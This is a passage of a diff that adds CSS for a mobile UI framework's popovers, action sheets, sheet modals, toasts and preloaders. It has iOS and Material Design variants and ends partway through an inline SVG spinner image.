.popover-angle.on-right { + left: 100%; +} +.ios .popover-angle.on-right:after { + left: -19px; + top: 0; +} +.ios .popover-angle.on-top { + left: 0; + top: -26px; +} +.ios .popover-angle.on-top:after { + left: 0; + top: 19px; +} +.ios .popover-angle.on-bottom { + left: 0; + top: 100%; +} +.ios .popover-angle.on-bottom:after { + left: 0; + top: -19px; +} +.ios .popover-from-actions .list + .list { + margin-top: 20px; +} +.ios .popover-from-actions .list ul { + background: #fff; +} +.ios .popover-from-actions .item-link i.icon { + width: 29px; + height: 29px; + font-size: 29px; +} +.ios .popover-from-actions-label { + padding: 8px 10px; + color: #8a8a8a; + font-size: 13px; + text-align: center; +} +.ios .popover-from-actions-label:after { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.2); + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.ios.device-pixel-ratio-2 .popover-from-actions-label:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .popover-from-actions-label:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .theme-dark .popover, +.popover.ios .theme-dark { + background: rgba(30, 30, 30, 0.95); +} +.ios .theme-dark .popover .popover-angle:after, +.popover.ios .theme-dark .popover-angle:after { + background: rgba(30, 30, 30, 0.95); +} +.ios .theme-dark .popover .list ul, +.popover.ios .theme-dark .list ul { + background-color: transparent; +} +.md .popover { + background: #fff; + border-radius: 4px; + -webkit-box-shadow: 0px 5px 5px -3px rgba(0, 0, 0, 0.2), 0px 8px 10px 1px rgba(0, 0, 0, 0.14), 0px 3px 14px 2px rgba(0, 0, 0, 0.12); + box-shadow: 0px 5px 5px -3px rgba(0, 0, 0, 0.2), 0px 8px 10px 1px rgba(0, 0, 0, 0.14), 0px 3px 14px 2px rgba(0, 0, 0, 0.12); + -webkit-transform: scale(0.85, 0.6); + transform: scale(0.85, 0.6); + -webkit-transition-property: opacity, border-radius, -webkit-transform; + transition-property: opacity, border-radius, -webkit-transform; + transition-property: opacity, transform, border-radius; + transition-property: opacity, transform, border-radius, -webkit-transform; +} +.md .popover.modal-in { + opacity: 1; + -webkit-transform: scale(1); + transform: scale(1); +} +.md .popover.modal-out { + opacity: 0; + -webkit-transform: scale(1); + transform: scale(1); +} +.md .popover .list:first-child ul { + border-radius: 3px 3px 0 0; +} +.md .popover .list:first-child li:first-child, +.md .popover .list:first-child li:first-child a, +.md .popover .list:first-child li:first-child > label { + border-radius: 3px 3px 0 0; +} +.md .popover .list:last-child ul { + border-radius: 0 0 3px 3px; +} +.md .popover .list:last-child li:last-child, +.md .popover .list:last-child li:last-child a, +.md .popover .list:last-child li:last-child > label { + border-radius: 0 0 3px 3px; +} +.md .popover .list:first-child:last-child li:first-child:last-child, +.md .popover .list:first-child:last-child li:first-child:last-child a, +.md .popover .list:first-child:last-child li:first-child:last-child > label, +.md .popover .list:first-child:last-child ul { + border-radius: 13px; +} +.md .popover .list + .list { + margin-top: 35px; +} +.md .popover-on-top { + -webkit-transform-origin: center bottom; + transform-origin: center bottom; +} +.md .popover-on-bottom { + -webkit-transform-origin: center top; + transform-origin: center top; +} +.md .popover-from-actions .list { + margin: 0; +} +.md .popover-from-actions .item-link i.icon { + width: 24px; + height: 24px; + font-size: 24px; +} +.md .popover-from-actions-label { + padding: 8px 16px; + color: rgba(0, 0, 0, 0.54); + padding-top: 12px; + padding-bottom: 12px; +} +.md .popover-from-actions-label:after { + content: ''; + position: absolute; + background-color: #d2d2d6; + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.md.device-pixel-ratio-2 .popover-from-actions-label:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.md.device-pixel-ratio-3 .popover-from-actions-label:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.md .theme-dark .popover { + background-color: #202020; +} +.md .theme-dark .popover-from-actions-label { + color: rgba(255, 255, 255, 0.54); +} +.md .theme-dark .popover-from-actions-label:after { + background-color: rgba(255, 255, 255, 0.08); +} +/* === Actions === */ +.actions-backdrop { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + background: rgba(0, 0, 0, 0.4); + z-index: 13000; + visibility: hidden; + opacity: 0; + -webkit-transition-duration: 400ms; + transition-duration: 400ms; +} +.actions-backdrop.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.actions-backdrop.backdrop-in { + visibility: visible; + opacity: 1; +} +.actions-modal { + position: absolute; + left: 0; + bottom: 0; + z-index: 13500; + width: 100%; + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); + display: none; + max-height: 100%; + overflow: auto; + -webkit-overflow-scrolling: touch; + -webkit-transition-property: -webkit-transform; + transition-property: -webkit-transform; + transition-property: transform; + transition-property: transform, -webkit-transform; +} +.actions-modal.modal-in, +.actions-modal.modal-out { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.actions-modal.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.actions-modal.modal-in { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} +.actions-modal.modal-out { + z-index: 13499; + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); +} +@media (min-width: 496px) { + .actions-modal { + width: 480px; + left: 50%; + margin-left: -240px; + } +} +.actions-group { + position: relative; +} +.actions-button, +.actions-label { + width: 100%; + font-weight: normal; + margin: 0; + -webkit-box-sizing: border-box; + box-sizing: border-box; + display: block; + position: relative; +} +.actions-button a, +.actions-label a { + text-decoration: none; + color: inherit; + display: block; +} +.actions-button b, +.actions-label b, +.actions-button.actions-button-bold, +.actions-label.actions-button-bold { + font-weight: 500; +} +.actions-button { + cursor: pointer; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; +} +.actions-button-media { + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; +} +.actions-button-text { + width: 100%; + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; +} +.actions-label { + line-height: 1.3; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; +} +.actions-grid .actions-group { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-flex-wrap: wrap; + -ms-flex-wrap: wrap; + flex-wrap: wrap; + -webkit-box-pack: start; + -webkit-justify-content: flex-start; + -ms-flex-pack: start; + justify-content: flex-start; +} +.actions-grid .actions-button { + width: 33.33333333%; + display: block; +} +.actions-grid .actions-button-media { + margin-left: auto; + margin-right: auto; +} +.actions-grid .actions-button-text { + margin-left: 0 !important; + text-align: center; +} +.ios .actions-group { + margin: 8px; + border-radius: 13px; + overflow: hidden; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} +.ios .actions-button, +.ios .actions-label { + text-align: center; + overflow: hidden; + background: rgba(255, 255, 255, 0.95); +} +.ios .actions-button b, +.ios .actions-label b, +.ios .actions-button.actions-button-bold, +.ios .actions-label.actions-button-bold { + font-weight: 600; +} +.ios .actions-button:first-child, +.ios .actions-label:first-child { + border-radius: 13px 13px 0 0; +} +.ios .actions-button:last-child, +.ios .actions-label:last-child { + border-radius: 0 0 13px 13px; +} +.ios .actions-button:last-child:after, +.ios .actions-label:last-child:after { + display: none !important; +} +.ios .actions-button:first-child:last-child, +.ios .actions-label:first-child:last-child { + border-radius: 13px; +} +.ios .actions-button { + height: 57px; + line-height: 57px; + font-size: 20px; + color: #007aff; + white-space: normal; + text-overflow: ellipsis; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; +} +.ios .actions-button.active-state { + background: rgba(230, 230, 230, 0.9); +} +.ios .actions-button-media { + margin-left: 15px; +} +.ios .actions-button-media i.icon { + width: 29px; + height: 29px; + font-size: 29px; +} +.ios .actions-button-media + .actions-button-text { + text-align: left; + margin-left: 15px; +} +.ios .actions-label { + font-size: 13px; + min-height: 57px; + padding: 8px 10px; + color: #8a8a8a; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; +} +@media (orientation: lanscape) { + .ios .actions-label { + min-height: 44px; + } + .ios .actions-button { + height: 44px; + line-height: 44px; + } +} +.ios .actions-grid .actions-group { + margin-top: 0; + border-radius: 0; + background: rgba(255, 255, 255, 0.95); +} +.ios .actions-grid .actions-group:first-child { + border-radius: 13px 13px 0 0; +} +.ios .actions-grid .actions-group:last-child { + border-radius: 0 0 13px 13px; +} +.ios .actions-grid .actions-group:first-child:last-child { + border-radius: 13px; +} +.ios .actions-grid .actions-group:not(:last-child) { + margin-bottom: 0; +} +.ios .actions-grid .actions-button, +.ios .actions-grid .actions-label { + border-radius: 0 !important; + background: none; +} +.ios .actions-grid .actions-button-media { + width: 48px; + height: 48px; + margin-left: auto; + margin-right: auto; +} +.ios .actions-grid .actions-button-media i.icon { + width: 48px; + height: 48px; + font-size: 48px; +} +.ios .actions-grid .actions-button-media + .actions-button-text { + text-align: center; +} +.ios .actions-grid .actions-button { + padding: 16px; + line-height: 1; + height: auto; +} +.ios .actions-grid .actions-button:after { + display: none !important; +} +.ios .actions-grid .actions-button.active-state { + background: rgba(230, 230, 230, 0.9); +} +.ios .actions-grid .actions-button-text { + margin-top: 8px; + line-height: 16px; + height: 16px; + font-size: 12px; + color: #757575; +} +.ios .actions-button:after { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.2); + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.ios.device-pixel-ratio-2 .actions-button:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .actions-button:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .actions-label:after { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.2); + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.ios.device-pixel-ratio-2 .actions-label:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .actions-label:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .actions-button.color-red, +.ios .actions-label.color-red { + color: #ff3b30; +} +.ios .actions-button.color-green, +.ios .actions-label.color-green { + color: #4cd964; +} +.ios .actions-button.color-blue, +.ios .actions-label.color-blue { + color: #007aff; +} +.ios .actions-button.color-pink, +.ios .actions-label.color-pink { + color: #ff2d55; +} +.ios .actions-button.color-yellow, +.ios .actions-label.color-yellow { + color: #ffcc00; +} +.ios .actions-button.color-orange, +.ios .actions-label.color-orange { + color: #ff9500; +} +.ios .actions-button.color-gray, +.ios .actions-label.color-gray { + color: #8e8e93; +} +.ios .actions-button.color-white, +.ios .actions-label.color-white { + color: #ffffff; +} +.ios .actions-button.color-black, +.ios .actions-label.color-black { + color: #000000; +} +.ios.device-iphone-x .actions-modal.modal-in { + -webkit-transform: translate3d(0, calc(0px - constant(safe-area-inset-bottom)), 0); + transform: translate3d(0, calc(0px - constant(safe-area-inset-bottom)), 0); + -webkit-transform: translate3d(0, calc(0px - env(safe-area-inset-bottom)), 0); + transform: translate3d(0, calc(0px - env(safe-area-inset-bottom)), 0); +} +.md .actions-modal { + background: #fff; +} +.md .actions-group:last-child:after { + display: none !important; +} +.md .actions-group:after { + content: ''; + position: absolute; + background-color: #d2d2d6; + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.md.device-pixel-ratio-2 .actions-group:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.md.device-pixel-ratio-3 .actions-group:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.md .actions-button, +.md .actions-label { + padding: 0 16px; +} +.md .actions-button { + line-height: 48px; + font-size: 16px; + color: rgba(0, 0, 0, 0.87); + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; +} +.md .actions-button a, +.md .actions-button { + position: relative; + overflow: hidden; + white-space: nowrap; + text-overflow: ellipsis; +} +.md .actions-button a.active-state, +.md .actions-button.active-state { + background: rgba(0, 0, 0, 0.1); +} +.md .actions-button-media { + min-width: 40px; +} +.md .actions-button-media i.icon { + width: 24px; + height: 24px; + font-size: 24px; +} +.md .actions-button-media + .actions-button-text { + margin-left: 16px; +} +.md .actions-label { + font-size: 16px; + color: rgba(0, 0, 0, 0.54); + padding-top: 12px; + padding-bottom: 12px; + -webkit-box-pack: start; + -webkit-justify-content: flex-start; + -ms-flex-pack: start; + justify-content: flex-start; +} +.md .actions-grid { + padding: 0; +} +.md .actions-grid .actions-button-media { + width: 48px; + height: 48px; +} +.md .actions-grid .actions-button-media i.icon { + width: 48px; + height: 48px; + font-size: 48px; +} +.md .actions-grid .actions-button { + padding: 16px; + line-height: 1; +} +.md .actions-grid .actions-button-text { + margin-top: 8px; + line-height: 16px; + height: 16px; + font-size: 12px; + color: #757575; +} +.md .actions-button.color-red, +.md .actions-label.color-red, +.md .actions-button.color-red .actions-button-text { + color: #f44336; +} +.md .actions-button.color-green, +.md .actions-label.color-green, +.md .actions-button.color-green .actions-button-text { + color: #4caf50; +} +.md .actions-button.color-blue, +.md .actions-label.color-blue, +.md .actions-button.color-blue .actions-button-text { + color: #2196f3; +} +.md .actions-button.color-pink, +.md .actions-label.color-pink, +.md .actions-button.color-pink .actions-button-text { + color: #e91e63; +} +.md .actions-button.color-yellow, +.md .actions-label.color-yellow, +.md .actions-button.color-yellow .actions-button-text { + color: #ffeb3b; +} +.md .actions-button.color-orange, +.md .actions-label.color-orange, +.md .actions-button.color-orange .actions-button-text { + color: #ff9800; +} +.md .actions-button.color-gray, +.md .actions-label.color-gray, +.md .actions-button.color-gray .actions-button-text { + color: #9e9e9e; +} +.md .actions-button.color-white, +.md .actions-label.color-white, +.md .actions-button.color-white .actions-button-text { + color: #ffffff; +} +.md .actions-button.color-black, +.md .actions-label.color-black, +.md .actions-button.color-black .actions-button-text { + color: #000000; +} +.md.device-iphone-x .actions-modal.modal-in { + padding-bottom: constant(safe-area-inset-bottom); + padding-bottom: env(safe-area-inset-bottom); +} +/* === Sheet Modal === */ +.sheet-backdrop { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + background: rgba(0, 0, 0, 0.4); + z-index: 13000; + visibility: hidden; + opacity: 0; + -webkit-transition-duration: 400ms; + transition-duration: 400ms; + z-index: 10500; +} +.sheet-backdrop.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.sheet-backdrop.backdrop-in { + visibility: visible; + opacity: 1; +} +.sheet-modal { + position: absolute; + left: 0; + bottom: 0; + width: 100%; + height: 260px; + display: none; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-transition-property: -webkit-transform; + transition-property: -webkit-transform; + transition-property: transform; + transition-property: transform, -webkit-transform; + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); + background: #fff; + z-index: 12500; +} +.sheet-modal.modal-in, +.sheet-modal.modal-out { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.sheet-modal.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.sheet-modal.modal-in { + display: block; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} +.sheet-modal.modal-out { + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); +} +.sheet-modal .sheet-modal-inner { + height: 100%; + position: relative; + overflow: hidden; +} +.sheet-modal .toolbar { + position: relative; + width: 100%; +} +.ios .sheet-modal { + background: #cfd5da; +} +.ios .sheet-modal .toolbar { + background: #f7f7f8; +} +.ios .sheet-modal .toolbar + .sheet-modal-inner { + height: calc(100% - 44px); +} +.ios .sheet-modal .toolbar ~ .sheet-modal-inner .page-content { + padding-bottom: 0; +} +.ios .sheet-modal .toolbar:before { + content: ''; + position: absolute; + background-color: #929499; + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.ios.device-pixel-ratio-2 .sheet-modal .toolbar:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .sheet-modal .toolbar:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios.device-iphone-x .sheet-modal .toolbar ~ .sheet-modal-inner .page-content, +.ios.device-iphone-x .sheet-modal .sheet-modal-inner > .page-content { + padding-bottom: constant(safe-area-inset-bottom); + padding-bottom: env(safe-area-inset-bottom); +} +.ios .theme-dark .sheet-modal, +.sheet-modal.ios .theme-dark { + background-color: #171717; +} +.ios .theme-dark .sheet-modal .toolbar, +.sheet-modal.ios .theme-dark .toolbar { + background-color: #1b1b1b; +} +.ios .theme-dark .sheet-modal .toolbar:before, +.sheet-modal.ios .theme-dark .toolbar:before { + background-color: #282829; +} +.md .sheet-modal { + background: #fff; +} +.md .sheet-modal .toolbar { + top: 0; +} +.md .sheet-modal .toolbar:after { + display: none; +} +.md .sheet-modal .toolbar + .sheet-modal-inner { + height: calc(100% - 48px); +} +.md .sheet-modal .toolbar a.link:not(.tab-link) { + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; +} +.md .sheet-modal .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ .sheet-modal-inner .page-content { + padding-top: 0; +} +.md.device-iphone-x .sheet-modal .toolbar ~ .sheet-modal-inner .page-content, +.md.device-iphone-x .sheet-modal .sheet-modal-inner > .page-content { + padding-bottom: constant(safe-area-inset-bottom); + padding-bottom: env(safe-area-inset-bottom); +} +.md .theme-dark .sheet-modal { + background-color: #202020; +} +/* === Toast === */ +.toast { + -webkit-transition-property: opacity, -webkit-transform; + transition-property: opacity, -webkit-transform; + transition-property: transform, opacity; + transition-property: transform, opacity, -webkit-transform; + position: absolute; + max-width: 568px; + z-index: 20000; + color: #fff; + font-size: 14px; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.toast.modal-in { + opacity: 1; +} +.toast .toast-content { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.toast .toast-text { + line-height: 20px; + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + min-width: 0; +} +.toast .toast-button { + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; +} +.toast.toast-with-icon .toast-content { + display: block; + text-align: center; +} +.toast.toast-with-icon .toast-text { + text-align: center; +} +.toast.toast-with-icon .toast-icon .f7-icons { + font-size: 50px; + width: 50px; + height: 50px; +} +.toast.toast-with-icon .toast-icon .material-icons { + font-size: 48px; + width: 48px; + height: 48px; +} +.toast.toast-center { + top: 50%; + opacity: 0; +} +@media (min-width: 1024px) { + .toast { + opacity: 0; + } +} +html.with-statusbar.device-ios .toast-top, +html.with-statusbar.ios:not(.device-ios):not(.device-android) .toast-top { + margin-top: 20px; +} +html.with-statusbar.device-iphone-x .toast-top { + margin-top: constant(safe-area-inset-top); + margin-top: env(safe-area-inset-top); +} +html.with-statusbar.device-android .toast-top, +html.with-statusbar.md:not(.device-ios):not(.device-android) .toast-top { + margin-top: 24px; +} +.ios .toast { + -webkit-transition-duration: 450ms; + transition-duration: 450ms; + background: rgba(0, 0, 0, 0.75); + opacity: 0; + width: 100%; + left: 0; +} +@supports ((-webkit-backdrop-filter: blur(10px)) or (backdrop-filter: blur(10px))) { + .ios .toast { + background: rgba(0, 0, 0, 0.65); + -webkit-backdrop-filter: blur(10px); + backdrop-filter: blur(10px); + } +} +.ios .toast.toast-center { + width: auto; + left: 50%; + border-radius: 8px; + -webkit-transform: translate3d(-50%, -50%, 0); + transform: translate3d(-50%, -50%, 0); +} +.ios .toast.toast-center.modal-in { + -webkit-transform: translate3d(-50%, -50%, 0); + transform: translate3d(-50%, -50%, 0); + opacity: 1; +} +.ios .toast.toast-top { + top: 0; + -webkit-transform: translate3d(0, -100%, 0); + transform: translate3d(0, -100%, 0); +} +.ios .toast.toast-top.modal-in { + -webkit-transform: translate3d(0, 0%, 0); + transform: translate3d(0, 0%, 0); + opacity: 1; +} +.ios .toast.toast-bottom { + bottom: 0; + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); +} +.ios .toast.toast-bottom.modal-in { + -webkit-transform: translate3d(0, 0%, 0); + transform: translate3d(0, 0%, 0); + opacity: 1; +} +@media (min-width: 569px) { + .ios .toast { + left: 50%; + margin-left: -284px; + } + .ios .toast.toast-center { + margin-left: 0; + } +} +@media (min-width: 569px) { + .ios .toast { + border-radius: 8px; + } + .ios .toast.toast-bottom { + bottom: 15px; + } + .ios .toast.toast-top { + top: 15px; + } +} +@media (min-width: 1024px) { + .ios .toast { + margin-left: 0; + width: auto; + } + .ios .toast.toast-bottom, + .ios .toast.toast-top { + left: 15px; + } +} +.ios .toast-content { + padding: 12px 15px; +} +.ios .toast-button { + color: #fff; + margin-left: 15px; +} +@media (max-width: 568px) { + .ios.device-iphone-x .toast-bottom .toast-content { + padding-bottom: calc(12px + constant(safe-area-inset-bottom)); + padding-bottom: calc(12px + env(safe-area-inset-bottom)); + } +} +@media (min-width: 569px) { + .ios.device-iphone-x .toast-bottom { + bottom: calc(15px + constant(safe-area-inset-bottom)); + bottom: calc(15px + env(safe-area-inset-bottom)); + } +} +.md .toast { + -webkit-transition-duration: 200ms; + transition-duration: 200ms; + border-radius: 4px; + background: #323232; + opacity: 0; + left: 8px; + width: calc(100% - 16px); + -webkit-transform: scale(0.9); + transform: scale(0.9); +} +.md .toast.modal-in { + -webkit-transform: scale(1); + transform: scale(1); + opacity: 1; +} +.md .toast.modal-out { + -webkit-transform: scale(1); + transform: scale(1); + opacity: 0; +} +.md .toast.toast-center { + left: 50%; + width: auto; + background: rgba(0, 0, 0, 0.75); + -webkit-transform: scale(0.9) translate3d(-55%, -55%, 0); + transform: scale(0.9) translate3d(-55%, -55%, 0); +} +.md .toast.toast-center.modal-in { + -webkit-transform: scale(1) translate3d(-50%, -50%, 0); + transform: scale(1) translate3d(-50%, -50%, 0); +} +.md .toast.toast-center.modal-out { + -webkit-transform: scale(1) translate3d(-50%, -50%, 0); + transform: scale(1) translate3d(-50%, -50%, 0); +} +.md .toast.toast-bottom { + bottom: 8px; +} +.md .toast.toast-top { + top: 8px; +} +@media (min-width: 584px) { + .md .toast { + left: 50%; + margin-left: -284px; + } + .md .toast.toast-center { + margin-left: 0; + } +} +@media (min-width: 1024px) { + .md .toast { + margin-left: 0; + width: auto; + } + .md .toast.toast-bottom, + .md .toast.toast-top { + left: 24px; + } + .md .toast.toast-bottom { + bottom: 24px; + } + .md .toast.toast-top { + top: 24px; + } +} +.md .toast-content { + padding: 14px 24px; +} +.md .toast-button { + margin-top: -8px; + margin-bottom: -8px; + margin-left: 16px; + margin-right: -8px; +} +@media (max-width: 568px) { + .md.device-iphone-x .toast-bottom .toast-content { + padding-bottom: calc(14px + constant(safe-area-inset-bottom)); + padding-bottom: calc(14px + env(safe-area-inset-bottom)); + } +} +@media (min-width: 1024px) { + .md.device-iphone-x .toast-bottom.modal-in { + margin-bottom: constant(safe-area-inset-bottom); + margin-bottom: env(safe-area-inset-bottom); + } +} +/* === Preloader === */ +.preloader { + display: inline-block; + vertical-align: middle; +} +/* === Preloader Modal === */ +.preloader-backdrop { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + background: rgba(0, 0, 0, 0.4); + z-index: 13000; + visibility: hidden; + -webkit-transition-duration: 400ms; + transition-duration: 400ms; + visibility: visible; + opacity: 0; + background: none; +} +.preloader-backdrop.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.preloader-backdrop.backdrop-in { + visibility: visible; + opacity: 1; +} +.preloader-modal { + position: absolute; + left: 50%; + top: 50%; + padding: 8px; + background: rgba(0, 0, 0, 0.8); + z-index: 13500; + -webkit-transform: translateX(-50%) translateY(-50%); + transform: translateX(-50%) translateY(-50%); +} +.preloader-modal .preloader { + display: block !important; +} +html.with-modal-preloader .page-content { + overflow: hidden; + -webkit-overflow-scrolling: auto; +} +.ios .preloader { + width: 20px; + height: 20px; + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%236c6c6c'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E"); + background-position: 50%; + background-size: 100%; + background-repeat: no-repeat; + -webkit-animation: ios-preloader-spin 1s steps(12, end) infinite; + animation: ios-preloader-spin 1s steps(12, end) infinite; +} +.ios .preloader-modal { + border-radius: 5px; +} +.ios .preloader-modal .preloader { + width: 34px; + height: 34px; +} +.ios .preloader.color-red, +.ios .preloader.preloader-red { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%23ff3b30'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D